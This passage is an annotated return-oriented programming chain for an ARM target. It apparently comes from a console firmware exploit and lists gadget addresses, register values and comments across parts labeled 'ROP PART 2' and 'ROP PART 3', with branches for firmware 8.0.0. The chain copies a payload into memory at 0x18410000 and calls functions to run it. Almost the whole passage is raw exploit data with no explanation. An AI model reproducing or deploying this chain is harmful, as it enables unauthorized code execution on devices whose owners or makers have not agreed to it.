  1036. 0x08F01FF4: 0x00128605 ;
  1037. 0x08F01FF8: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1038. 0x08F01FFC: 0x002104E5 ;
  1039. 0x08F02000: 0x002CCF7C ;
  1040. 0x08F02004: 0x00184700 ;
  1041. 0x08F02008: 0x00116400 ;
  1042. 0x08F0200C: 0x001B4300 ;
  1043. 0x08F02010: 0x00113200 ;
  1044. 0x08F02014: 0x0007B800 ;
  1045. 0x08F02018: 0x0021E630 ;
  1046. 0x08F0201C: 0x0010DB6C ;
  1047. 0x08F02020: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1048. 0x08F02024: 0x0010322C ;
  1049. 0x08F02028: 0x0022FE44 ;
  1050. 0x08F0202C: 0x00100B5C ;
  1051. 0x08F02030: 0x08F020D0 ;
  1052. 0x08F02034: 0x0010DB6C ; nop or MOV SP, LR, LDMFD SP!, {LR,PC}
  1053. ... IF FIRM == 8.0.0 ...
  1054. 0x08F02038: 0x0017943B ; POP {R0-R4,R7,PC}
  1055. 0x08F0203C: 0x08F02894 ;
  1056. 0x08F02040: 0x08F02AB4 ;
  1057. 0x08F02044: 0x00000044 ;
  1058. 0x08F02048: 0x001CCC64 ;
  1059. 0x08F0204C: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  1060. 0x08F02050: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  1061. 0x08F02054: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1062. 0x08F02058: 0x002104E5 ;
  1063. 0x08F0205C: 0x002CCF7C ;
  1064. 0x08F02060: 0x00184700 ;
  1065. 0x08F02064: 0x00116400 ;
  1066. 0x08F02068: 0x001B4300 ;
  1067. 0x08F0206C: 0x00113200 ;
  1068. 0x08F02070: 0x0007B800 ;
  1069. 0x08F02074: 0x0021E630 ;
  1070. 0x08F02078: 0x0010DB6C ;
  1071. 0x08F0207C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1072. 0x08F02080: 0x0010322C ;
  1073. 0x08F02084: 0x0022FE44 ;
  1074. 0x08F02088: 0x00100B5C ;
  1075. 0x08F0208C: 0x0010DB6C ;
  1076. 0x08F02090: 0x00284918 ; memcpy, BX LR
  1077. 0x08F02094: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1078. 0x08F02098: 0x002104E5 ;
  1079. 0x08F0209C: 0x002CCF7C ;
  1080. 0x08F020A0: 0x00184700 ;
  1081. 0x08F020A4: 0x00116400 ;
  1082. 0x08F020A8: 0x001B4300 ;
  1083. 0x08F020AC: 0x00113200 ;
  1084. 0x08F020B0: 0x0007B800 ;
  1085. 0x08F020B4: 0x0021E630 ;
  1086. 0x08F020B8: 0x0010DB6C ;
  1087. 0x08F020BC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1088. 0x08F020C0: 0x0010322C ;
  1089. 0x08F020C4: 0x0022FE44 ;
  1090. 0x08F020C8: 0x00100B5C ;
  1091. 0x08F020CC: 0x08F0212C ;
  1092. ... ELSE ...
  1093. 0x08F020D0: 0x002D6A30 ; LR
  1094. 0x08F020D4: 0x0017943B ; POP {R0-R4,R7,PC}
  1095. 0x08F020D8: 0x08F02894 ; R0
  1096. 0x08F020DC: 0x08F02AF8 ; R1
  1097. 0x08F020E0: 0x00000044 ; R2
  1098. 0x08F020E4: 0x001CCC64 ; R3
  1099. 0x08F020E8: 0x00354850 ; R4
  1100. 0x08F020EC: 0x00101408 ; R7
  1101. 0x08F020F0: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1102. 0x08F020F4: 0x002104E5 ; R4
  1103. 0x08F020F8: 0x002CCF7C ; R5
  1104. 0x08F020FC: 0x00184700 ; R6
  1105. 0x08F02100: 0x00116400 ; R7
  1106. 0x08F02104: 0x001B4300 ; R8
  1107. 0x08F02108: 0x00113200 ; R9
  1108. 0x08F0210C: 0x0007B800 ; R10
  1109. 0x08F02110: 0x0021E630 ; R11
  1110. 0x08F02114: 0x0010DB6C ; R12, nop
  1111. 0x08F02118: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1112. 0x08F0211C: 0x0010322C ; R4
  1113. 0x08F02120: 0x0022FE44 ; R5
  1114. 0x08F02124: 0x00100B5C ; R6
  1115. 0x08F02128: 0x0010DB6C ; LR
  1116. ... END IF ...
  1117.  
  1118. ... ROP PART 2 ...
  1119. 0x08F0212C: 0x00284918 ; LR
  1120. 0x08F02130: 0x0017943B ; POP {R0-R4,R7,PC}
  1121. 0x08F02134: 0x08F02130 ; R0, dst
  1122. 0x08F02138: 0x08F024E4 ; R1, src
  1123. 0x08F0213C: 0x000003B0 ; R2, size
  1124. 0x08F02140: 0x001CCC64 ; R3
  1125. 0x08F02144: 0x00354850 ; R4
  1126. 0x08F02148: 0x00101408 ; R7
  1127. 0x08F0214C: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1128. 0x08F02150: 0x002104E5 ; R4
  1129. 0x08F02154: 0x002CCF7C ; R5
  1130. 0x08F02158: 0x00184700 ; R6
  1131. 0x08F0215C: 0x00116400 ; R7
  1132. 0x08F02160: 0x001B4300 ; R8
  1133. 0x08F02164: 0x00113200 ; R9
  1134. 0x08F02168: 0x0007B800 ; R10
  1135. 0x08F0216C: 0x0021E630 ; R11
  1136. 0x08F02170: 0x0010DB6C ; R12, nop
  1137. 0x08F02174: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1138. 0x08F02178: 0x0010322C ; R4
  1139. 0x08F0217C: 0x0022FE44 ; R5
  1140. 0x08F02180: 0x00100B5C ; R6
  1141. 0x08F02184: 0x0010DB6C ; LR, nop
  1142. 0x08F02188: 0x00284918 ; memcpy, BX LR
  1143.  
  1144. GOTO 0x08F02540
  1145.  
  1146. ... REPLACED/NOT USED ...
  1147. 0x08F0218C: 0x002AD574 ;
  1148. 0x08F02190: 0x08F0289C ;
  1149. 0x08F02194: 0x001CCC64 ;
  1150. 0x08F02198: 0x00350658 ;
  1151. 0x08F0219C: 0x00103DA8 ;
  1152. 0x08F021A0: 0x002104E5 ;
  1153. 0x08F021A4: 0x002CCF7C ;
  1154. 0x08F021A8: 0x00184700 ;
  1155. 0x08F021AC: 0x00116400 ;
  1156. 0x08F021B0: 0x001B4300 ;
  1157. 0x08F021B4: 0x00113200 ;
  1158. 0x08F021B8: 0x0007B800 ;
  1159. 0x08F021BC: 0x0021E630 ;
  1160. 0x08F021C0: 0x0010DB6C ;
  1161. 0x08F021C4: 0x0018114C ;
  1162. 0x08F021C8: 0x0010322C ;
  1163. 0x08F021CC: 0x0022FE44 ;
  1164. 0x08F021D0: 0x00100B5C ;
  1165. 0x08F021D4: 0x0010DB6C ;
  1166. 0x08F021D8: 0x00158DE7 ;
  1167. 0x08F021DC: 0x002AD574 ;
  1168. 0x08F021E0: 0x08F02894 ;
  1169. 0x08F021E4: 0x001CCC64 ;
  1170. 0x08F021E8: 0x0023FFE8 ;
  1171. 0x08F021EC: 0x001CCC64 ;
  1172. 0x08F021F0: 0x00182910 ;
  1173. 0x08F021F4: 0x00207954 ;
  1174. 0x08F021F8: 0x0023FF9C ;
  1175. 0x08F021FC: 0x001B560C ;
  1176. 0x08F02200: 0x0010FC24 ;
  1177. 0x08F02204: 0x002AD574 ;
  1178. 0x08F02208: 0x08F024DC ;
  1179. 0x08F0220C: 0x00269758 ;
  1180. 0x08F02210: 0x0010DB6C ;
  1181. 0x08F02214: 0x0020E780 ;
  1182. 0x08F02218: 0x00101430 ;
  1183. 0x08F0221C: 0x0017943B ;
  1184. 0x08F02220: 0x18410000 ;
  1185. 0x08F02224: 0x08F02B90 ;
  1186. 0x08F02228: 0x00001000 ;
  1187. 0x08F0222C: 0x001CCC64 ;
  1188. 0x08F02230: 0x00354850 ;
  1189. 0x08F02234: 0x00101408 ;
  1190. 0x08F02238: 0x00103DA8 ;
  1191. 0x08F0223C: 0x002104E5 ;
  1192. 0x08F02240: 0x002CCF7C ;
  1193. 0x08F02244: 0x00184700 ;
  1194. 0x08F02248: 0x00116400 ;
  1195. 0x08F0224C: 0x001B4300 ;
  1196. 0x08F02250: 0x00113200 ;
  1197. 0x08F02254: 0x0007B800 ;
  1198. 0x08F02258: 0x0021E630 ;
  1199. 0x08F0225C: 0x0010DB6C ;
  1200. 0x08F02260: 0x0018114C ;
  1201. 0x08F02264: 0x0010322C ;
  1202. 0x08F02268: 0x0022FE44 ;
  1203. 0x08F0226C: 0x00100B5C ;
  1204. 0x08F02270: 0x0010DB6C ;
  1205. 0x08F02274: 0x00284918 ; memcpy, BX LR
  1206. 0x08F02278: 0x0017943B ;
  1207. 0x08F0227C: 0x18410000 ;
  1208. 0x08F02280: 0x18410000 ;
  1209. 0x08F02284: 0x00010000 ;
  1210. 0x08F02288: 0x001CCC64 ;
  1211. 0x08F0228C: 0x00354850 ;
  1212. 0x08F02290: 0x00101408 ;
  1213. 0x08F02294: 0x00103DA8 ;
  1214. 0x08F02298: 0x002104E5 ;
  1215. 0x08F0229C: 0x002CCF7C ;
  1216. 0x08F022A0: 0x00184700 ;
  1217. 0x08F022A4: 0x00116400 ;
  1218. 0x08F022A8: 0x001B4300 ;
  1219. 0x08F022AC: 0x00113200 ;
  1220. 0x08F022B0: 0x0007B800 ;
  1221. 0x08F022B4: 0x0021E630 ;
  1222. 0x08F022B8: 0x0010DB6C ;
  1223. 0x08F022BC: 0x0018114C ;
  1224. 0x08F022C0: 0x0010322C ;
  1225. 0x08F022C4: 0x0022FE44 ;
  1226. 0x08F022C8: 0x00100B5C ;
  1227. 0x08F022CC: 0x0010DB6C ;
  1228. 0x08F022D0: 0x00284918 ; memcpy, BX LR
  1229. 0x08F022D4: 0x00103DA8 ;
  1230. 0x08F022D8: 0x002104E5 ;
  1231. 0x08F022DC: 0x002CCF7C ;
  1232. 0x08F022E0: 0x00184700 ;
  1233. 0x08F022E4: 0x00116400 ;
  1234. 0x08F022E8: 0x001B4300 ;
  1235. 0x08F022EC: 0x00113200 ;
  1236. 0x08F022F0: 0x0007B800 ;
  1237. 0x08F022F4: 0x0021E630 ;
  1238. 0x08F022F8: 0x0010DB6C ;
  1239. 0x08F022FC: 0x0018114C ;
  1240. 0x08F02300: 0x0010322C ;
  1241. 0x08F02304: 0x0022FE44 ;
  1242. 0x08F02308: 0x00100B5C ;
  1243. 0x08F0230C: 0x0010DB6C ;
  1244. 0x08F02310: 0x002AD574 ;
  1245. 0x08F02314: 0x18410000 ;
  1246. 0x08F02318: 0x00269758 ;
  1247. 0x08F0231C: 0x000021F0 ;
  1248. 0x08F02320: 0x00344B84 ;
  1249. 0x08F02324: 0x00103DA8 ;
  1250. 0x08F02328: 0x002104E5 ;
  1251. 0x08F0232C: 0x002CCF7C ;
  1252. 0x08F02330: 0x00184700 ;
  1253. 0x08F02334: 0x00116400 ;
  1254. 0x08F02338: 0x001B4300 ;
  1255. 0x08F0233C: 0x00113200 ;
  1256. 0x08F02340: 0x0007B800 ;
  1257. 0x08F02344: 0x0021E630 ;
  1258. 0x08F02348: 0x0010DB6C ;
  1259. 0x08F0234C: 0x0018114C ;
  1260. 0x08F02350: 0x0010322C ;
  1261. 0x08F02354: 0x0022FE44 ;
  1262. 0x08F02358: 0x00100B5C ;
  1263. 0x08F0235C: 0x0010DB6C ;
  1264. 0x08F02360: 0x0017943B ;
  1265. 0x08F02364: 0x08F028A0 ;
  1266. 0x08F02368: 0x11111111 ;
  1267. 0x08F0236C: 0x000021F0 ;
  1268. 0x08F02370: 0x00000000 ;
  1269. 0x08F02374: 0x0010DD10 ;
  1270. 0x08F02378: 0x002D5654 ;
  1271. 0x08F0237C: 0x001CCC64 ;
  1272. 0x08F02380: 0x0025BC00 ;
  1273. 0x08F02384: 0x00103DA8 ;
  1274. 0x08F02388: 0x002104E5 ;
  1275. 0x08F0238C: 0x002CCF7C ;
  1276. 0x08F02390: 0x00184700 ;
  1277. 0x08F02394: 0x00116400 ;
  1278. 0x08F02398: 0x001B4300 ;
  1279. 0x08F0239C: 0x00113200 ;
  1280. 0x08F023A0: 0x0007B800 ;
  1281. 0x08F023A4: 0x0021E630 ;
  1282. 0x08F023A8: 0x0010DB6C ;
  1283. 0x08F023AC: 0x0018114C ;
  1284. 0x08F023B0: 0x0010322C ;
  1285. 0x08F023B4: 0x0022FE44 ;
  1286. 0x08F023B8: 0x00100B5C ;
  1287. 0x08F023BC: 0x0010DB6C ;
  1288. 0x08F023C0: 0x00158DE7 ;
  1289. 0x08F023C4: 0x002AD574 ;
  1290. 0x08F023C8: 0x18410000 ;
  1291. 0x08F023CC: 0x00101408 ;
  1292. 0x08F023D0: 0x0000000F ;
  1293. 0x08F023D4: 0x002C62E4 ;
  1294. 0x08F023D8: 0x00354850 ;
  1295. 0x08F023DC: 0x00000000 ;
  1296. 0x08F023E0: 0x00000000 ;
  1297. 0x08F023E4: 0x00000000 ;
  1298. 0x08F023E8: 0x00000008 ;
  1299. 0x08F023EC: 0x0010DB6C ;
  1300. 0x08F023F0: 0x0010DB6C ;
  1301. 0x08F023F4: 0x00103DA8 ;
  1302. 0x08F023F8: 0x002104E5 ;
  1303. 0x08F023FC: 0x002CCF7C ;
  1304. 0x08F02400: 0x00184700 ;
  1305. 0x08F02404: 0x00116400 ;
  1306. 0x08F02408: 0x001B4300 ;
  1307. 0x08F0240C: 0x00113200 ;
  1308. 0x08F02410: 0x0007B800 ;
  1309. 0x08F02414: 0x0021E630 ;
  1310. 0x08F02418: 0x0010DB6C ;
  1311. 0x08F0241C: 0x0018114C ;
  1312. 0x08F02420: 0x0010322C ;
  1313. 0x08F02424: 0x0022FE44 ;
  1314. 0x08F02428: 0x00100B5C ;
  1315. 0x08F0242C: 0x0010DB6C ;
  1316. 0x08F02430: 0x002AD574 ;
  1317. 0x08F02434: 0x00400000 ;
  1318. 0x08F02438: 0x00269758 ;
  1319. 0x08F0243C: 0x00000000 ;
  1320. 0x08F02440: 0x0025DFF0 ;
  1321. 0x08F02444: 0x0017943B ;
  1322. 0x08F02448: 0x18410000 ;
  1323. 0x08F0244C: 0x18410000 ;
  1324. 0x08F02450: 0x00010000 ;
  1325. 0x08F02454: 0x001CCC64 ;
  1326. 0x08F02458: 0x00354850 ;
  1327. 0x08F0245C: 0x00101408 ;
  1328. 0x08F02460: 0x00103DA8 ;
  1329. 0x08F02464: 0x002104E5 ;
  1330. 0x08F02468: 0x002CCF7C ;
  1331. 0x08F0246C: 0x00184700 ;
  1332. 0x08F02470: 0x00116400 ;
  1333. 0x08F02474: 0x001B4300 ;
  1334. 0x08F02478: 0x00113200 ;
  1335. 0x08F0247C: 0x0007B800 ;
  1336. 0x08F02480: 0x0021E630 ;
  1337. 0x08F02484: 0x0010DB6C ;
  1338. 0x08F02488: 0x0018114C ;
  1339. 0x08F0248C: 0x0010322C ;
  1340. 0x08F02490: 0x0022FE44 ;
  1341. 0x08F02494: 0x00100B5C ;
  1342. 0x08F02498: 0x0010DB6C ;
  1343. 0x08F0249C: 0x00284918 ; memcpy, BX LR
  1344. 0x08F024A0: 0x00103DA8 ;
  1345. 0x08F024A4: 0x002104E5 ;
  1346. 0x08F024A8: 0x002CCF7C ;
  1347. 0x08F024AC: 0x00184700 ;
  1348. 0x08F024B0: 0x00116400 ;
  1349. 0x08F024B4: 0x001B4300 ;
  1350. 0x08F024B8: 0x00113200 ;
  1351. 0x08F024BC: 0x0007B800 ;
  1352. 0x08F024C0: 0x0021E630 ;
  1353. 0x08F024C4: 0x0010DB6C ;
  1354. 0x08F024C8: 0x0018114C ; LDMFD SP!, {R4-R6,LR}
  1355. 0x08F024CC: 0x0010322C ; R4
  1356. 0x08F024D0: 0x0022FE44 ; R5
  1357. 0x08F024D4: 0x00100B5C ; R6
  1358. 0x08F024D8: 0x08F0212C ; LR
  1359. 0x08F024DC: 0x002D6A30 ; MOV SP, LR, LDMFD SP!, {LR,PC} or nop
  1360. ... END REPLACED ...
  1361.  
  1362. CONTINUE FROM 0x08F02890
  1363.  
  1364. ... ROP PART 3 ...
  1365. 0x08F024E0: 0x009D2000 ; NOT USED
  1366. 0x08F024E4: 0x0017943B ; POP {R0-R4,R7,PC}
  1367. 0x08F024E8: 0x08F02130 ; R0, dst
  1368. 0x08F024EC: 0x08F024E4 ; R1, src
  1369. 0x08F024F0: 0x000003B0 ; R2, size
  1370. 0x08F024F4: 0x001CCC64 ; R3
  1371. 0x08F024F8: 0x00354850 ; R4
  1372. 0x08F024FC: 0x00101408 ; R7
  1373. 0x08F02500: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1374. 0x08F02504: 0x002104E5 ; R4
  1375. 0x08F02508: 0x002CCF7C ; R5
  1376. 0x08F0250C: 0x00184700 ; R6
  1377. 0x08F02510: 0x00116400 ; R7
  1378. 0x08F02514: 0x001B4300 ; R8
  1379. 0x08F02518: 0x00113200 ; R9
  1380. 0x08F0251C: 0x0007B800 ; R10
  1381. 0x08F02520: 0x0021E630 ; R11
  1382. 0x08F02524: 0x0010DB6C ; R12, nop
  1383. 0x08F02528: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1384. 0x08F0252C: 0x0010322C ; R4
  1385. 0x08F02530: 0x0022FE44 ; R5
  1386. 0x08F02534: 0x00100B5C ; R6
  1387. 0x08F02538: 0x0010DB6C ; LR, nop
  1388. 0x08F0253C: 0x00284918 ; memcpy, BX LR
  1389.  
  1390. ... PART 2 CONTINUED / REPLACING AT 0x08F0218C ...
  1391. 0x08F02540: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1392. 0x08F02544: 0x08F0289C ; R0
  1393. 0x08F02548: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  1394. 0x08F0254C: 0x0022FF28 ; R4
  1395. 0x08F02550: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1396. 0x08F02554: 0x002104E5 ; R4
  1397. 0x08F02558: 0x002CCF7C ; R5
  1398. 0x08F0255C: 0x00184700 ; R6
  1399. 0x08F02560: 0x00116400 ; R7
  1400. 0x08F02564: 0x001B4300 ; R8
  1401. 0x08F02568: 0x00113200 ; R9
  1402. 0x08F0256C: 0x0007B800 ; R10
  1403. 0x08F02570: 0x0021E630 ; R11
  1404. 0x08F02574: 0x0010DB6C ; R12, nop
  1405. 0x08F02578: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1406. 0x08F0257C: 0x0010322C ; R4
  1407. 0x08F02580: 0x0022FE44 ; R5
  1408. 0x08F02584: 0x00100B5C ; R6
  1409. 0x08F02588: 0x0010DB6C ; LR, nop
  1410. 0x08F0258C: 0x00158DE7 ; R1 = R0, BLX LR
  1411. 0x08F02590: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1412. 0x08F02594: 0x08F02894 ; R0
  1413. 0x08F02598: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  1414. 0x08F0259C: 0x001006FC ; R4
  1415. 0x08F025A0: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  1416. 0x08F025A4: 0x00191504 ; R4
  1417. 0x08F025A8: 0x00207954 ; R0 = R0 + R1, LDMFD SP!, {R4,PC}
  1418. 0x08F025AC: 0x001ABD3D ; R4
  1419. 0x08F025B0: 0x001B560C ; SET_FLAG(R0 == 0) if (!flag) R0 = 1, LDMFD SP!, {R3,PC}
  1420. 0x08F025B4: 0x0011BACC ; R3
  1421. 0x08F025B8: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1422. 0x08F025BC: 0x08F024DC ; R0
  1423. 0x08F025C0: 0x00269758 ; LDMFD SP!, {R1,PC}
  1424. 0x08F025C4: 0x0010DB6C ; R1, nop
  1425. 0x08F025C8: 0x0020E780 ; if (!flag) *R0 = R1, LDMFD SP!, {R4,PC}
  1426. 0x08F025CC: 0x00101A34 ; R4
  1427. 0x08F025D0: 0x0017943B ; POP {R0-R4,R7,PC}
  1428. 0x08F025D4: 0x18410000 ; R0, dst
  1429. 0x08F025D8: 0x08F02B90 ; R1, src
  1430. 0x08F025DC: 0x000021F0 ; R2, size
  1431. 0x08F025E0: 0x001CCC64 ; R3
  1432. 0x08F025E4: 0x00354850 ; R4
  1433. 0x08F025E8: 0x00101408 ; R7
  1434. 0x08F025EC: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1435. 0x08F025F0: 0x002104E5 ; R4
  1436. 0x08F025F4: 0x002CCF7C ; R5
  1437. 0x08F025F8: 0x00184700 ; R6
  1438. 0x08F025FC: 0x00116400 ; R7
  1439. 0x08F02600: 0x001B4300 ; R8
  1440. 0x08F02604: 0x00113200 ; R9
  1441. 0x08F02608: 0x0007B800 ; R10
  1442. 0x08F0260C: 0x0021E630 ; R11
  1443. 0x08F02610: 0x0010DB6C ; R12, nop
  1444. 0x08F02614: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1445. 0x08F02618: 0x0010322C ; R4
  1446. 0x08F0261C: 0x0022FE44 ; R5
  1447. 0x08F02620: 0x00100B5C ; R6
  1448. 0x08F02624: 0x0010DB6C ; LR, nop
  1449. 0x08F02628: 0x00284918 ; memcpy payload, BX LR
  1450. 0x08F0262C: 0x0017943B ; POP {R0-R4,R7,PC}
  1451. 0x08F02630: 0x18410000 ; R0, dst
  1452. 0x08F02634: 0x18410000 ; R1, src
  1453. 0x08F02638: 0x00010000 ; R2, size
  1454. 0x08F0263C: 0x001CCC64 ; R3
  1455. 0x08F02640: 0x00354850 ; R4
  1456. 0x08F02644: 0x00101408 ; R7
  1457. 0x08F02648: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1458. 0x08F0264C: 0x002104E5 ; R4
  1459. 0x08F02650: 0x002CCF7C ; R5
  1460. 0x08F02654: 0x00184700 ; R6
  1461. 0x08F02658: 0x00116400 ; R7
  1462. 0x08F0265C: 0x001B4300 ; R8
  1463. 0x08F02660: 0x00113200 ; R9
  1464. 0x08F02664: 0x0007B800 ; R10
  1465. 0x08F02668: 0x0021E630 ; R11
  1466. 0x08F0266C: 0x0010DB6C ; R12, nop
  1467. 0x08F02670: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1468. 0x08F02674: 0x0010322C ; R4
  1469. 0x08F02678: 0x0022FE44 ; R5
  1470. 0x08F0267C: 0x00100B5C ; R6
  1471. 0x08F02680: 0x0010DB6C ; LR, nop
  1472. 0x08F02684: 0x00284918 ; memcpy (nop), BX LR
  1473. 0x08F02688: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1474. 0x08F0268C: 0x002104E5 ; R4
  1475. 0x08F02690: 0x002CCF7C ; R5
  1476. 0x08F02694: 0x00184700 ; R6
  1477. 0x08F02698: 0x00116400 ; R7
  1478. 0x08F0269C: 0x001B4300 ; R8
  1479. 0x08F026A0: 0x00113200 ; R9
  1480. 0x08F026A4: 0x0007B800 ; R10
  1481. 0x08F026A8: 0x0021E630 ; R11
  1482. 0x08F026AC: 0x0010DB6C ; R12, nop
  1483. 0x08F026B0: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1484. 0x08F026B4: 0x0010322C ; R4
  1485. 0x08F026B8: 0x0022FE44 ; R5
  1486. 0x08F026BC: 0x00100B5C ; R6
  1487. 0x08F026C0: 0x0010DB6C ; LR
  1488. 0x08F026C4: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1489. 0x08F026C8: 0x18410000 ; R0
  1490. 0x08F026CC: 0x00269758 ; LDMFD SP!, {R1,PC}
  1491. 0x08F026D0: 0x000021F0 ; R1
  1492. 0x08F026D4: 0x00344B84 ; function call, BX LR
  1493. 0x08F026D8: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1494. 0x08F026DC: 0x002104E5 ; R4
  1495. 0x08F026E0: 0x002CCF7C ; R5
  1496. 0x08F026E4: 0x00184700 ; R6
  1497. 0x08F026E8: 0x00116400 ; R7
  1498. 0x08F026EC: 0x001B4300 ; R8
  1499. 0x08F026F0: 0x00113200 ; R9
  1500. 0x08F026F4: 0x0007B800 ; R10
  1501. 0x08F026F8: 0x0021E630 ; R11
  1502. 0x08F026FC: 0x0010DB6C ; R12, nop
  1503. 0x08F02700: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1504. 0x08F02704: 0x0010322C ; R4
  1505. 0x08F02708: 0x0022FE44 ; R5
  1506. 0x08F0270C: 0x00100B5C ; R6
  1507. 0x08F02710: 0x0010DB6C ; LR
  1508. 0x08F02714: 0x0017943B ; POP {R0-R4,R7,PC}
  1509. 0x08F02718: 0x08F028A0 ; R0
  1510. 0x08F0271C: 0x11111111 ; R1
  1511. 0x08F02720: 0x000021F0 ; R2
  1512. 0x08F02724: 0x00000000 ; R3
  1513. 0x08F02728: 0x0010DD10 ; R4
  1514. 0x08F0272C: 0x002D5654 ; R7
  1515. 0x08F02730: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  1516. 0x08F02734: 0x0025BC00 ; R4
  1517. 0x08F02738: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1518. 0x08F0273C: 0x002104E5 ; R4
  1519. 0x08F02740: 0x002CCF7C ; R5
  1520. 0x08F02744: 0x00184700 ; R6
  1521. 0x08F02748: 0x00116400 ; R7
  1522. 0x08F0274C: 0x001B4300 ; R8
  1523. 0x08F02750: 0x00113200 ; R9
  1524. 0x08F02754: 0x0007B800 ; R10
  1525. 0x08F02758: 0x0021E630 ; R11
  1526. 0x08F0275C: 0x0010DB6C ; R12, nop
  1527. 0x08F02760: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1528. 0x08F02764: 0x0010322C ; R4
  1529. 0x08F02768: 0x0022FE44 ; R5
  1530. 0x08F0276C: 0x00100B5C ; R6
  1531. 0x08F02770: 0x0010DB6C ; LR, nop
  1532. 0x08F02774: 0x00158DE7 ; R1 = R0, BLX LR
  1533. 0x08F02778: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1534. 0x08F0277C: 0x18410000 ; R0
  1535. 0x08F02780: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  1536. 0x08F02784: 0x0000000F ; R4
  1537. 0x08F02788: 0x002C62E4 ; R5, function call
  1538. 0x08F0278C: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  1539. 0x08F02790: 0x00000000 ; R4
  1540. 0x08F02794: 0x00000000 ; R5
  1541. 0x08F02798: 0x00000000 ; R6
  1542. 0x08F0279C: 0x00000008 ; R7
  1543. 0x08F027A0: 0x0010DB6C ; R8
  1544. 0x08F027A4: 0x0010DB6C ; nop
  1545. 0x08F027A8: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1546. 0x08F027AC: 0x002104E5 ; R4
  1547. 0x08F027B0: 0x002CCF7C ; R5
  1548. 0x08F027B4: 0x00184700 ; R6
  1549. 0x08F027B8: 0x00116400 ; R7
  1550. 0x08F027BC: 0x001B4300 ; R8
  1551. 0x08F027C0: 0x00113200 ; R9
  1552. 0x08F027C4: 0x0007B800 ; R10
  1553. 0x08F027C8: 0x0021E630 ; R11
  1554. 0x08F027CC: 0x0010DB6C ; R12, nop
  1555. 0x08F027D0: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1556. 0x08F027D4: 0x0010322C ; R4
  1557. 0x08F027D8: 0x0022FE44 ; R5
  1558. 0x08F027DC: 0x00100B5C ; R6
  1559. 0x08F027E0: 0x0010DB6C ; LR, nop
  1560. 0x08F027E4: 0x002AD574 ; LDMFD SP!, {R0,PC}
  1561. 0x08F027E8: 0x00400000 ; R0
  1562. 0x08F027EC: 0x00269758 ; LDMFD SP!, {R1,PC}
  1563. 0x08F027F0: 0x00000000 ; R1
  1564. 0x08F027F4: 0x0025DFF0 ; function call, BX LR
  1565. 0x08F027F8: 0x0017943B ; POP {R0-R4,R7,PC}
  1566. 0x08F027FC: 0x18410000 ; R0, dst
  1567. 0x08F02800: 0x18410000 ; R1, src
  1568. 0x08F02804: 0x00010000 ; R2, len
  1569. 0x08F02808: 0x001CCC64 ; R3
  1570. 0x08F0280C: 0x00354850 ; R4
  1571. 0x08F02810: 0x00101408 ; R7
  1572. 0x08F02814: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1573. 0x08F02818: 0x002104E5 ; R4
  1574. 0x08F0281C: 0x002CCF7C ; R5
  1575. 0x08F02820: 0x00184700 ; R6
  1576. 0x08F02824: 0x00116400 ; R7
  1577. 0x08F02828: 0x001B4300 ; R8
  1578. 0x08F0282C: 0x00113200 ; R9
  1579. 0x08F02830: 0x0007B800 ; R10
  1580. 0x08F02834: 0x0021E630 ; R11
  1581. 0x08F02838: 0x0010DB6C ; R12, nop
  1582. 0x08F0283C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  1583. 0x08F02840: 0x0010322C ; R4
  1584. 0x08F02844: 0x0022FE44 ; R5
  1585. 0x08F02848: 0x00100B5C ; R6
  1586. 0x08F0284C: 0x0010DB6C ; LR, nop
  1587. 0x08F02850: 0x00284918 ; memcpy nop, BX LR
  1588. 0x08F02854: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  1589. 0x08F02858: 0x002104E5 ; R4
  1590. 0x08F0285C: 0x002CCF7C ; R5
  1591. 0x08F02860: 0x00184700 ; R6
  1592. 0x08F02864: 0x00116400 ; R7
  1593. 0x08F02868: 0x001B4300 ; R8
  1594. 0x08F0286C: 0x00113200 ; R9
  1595. 0x08F02870: 0x0007B800 ; R10
  1596. 0x08F02874: 0x0021E630 ; R11
  1597. 0x08F02878: 0x0010DB6C ; R12, nop
  1598. 0x08F0287C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
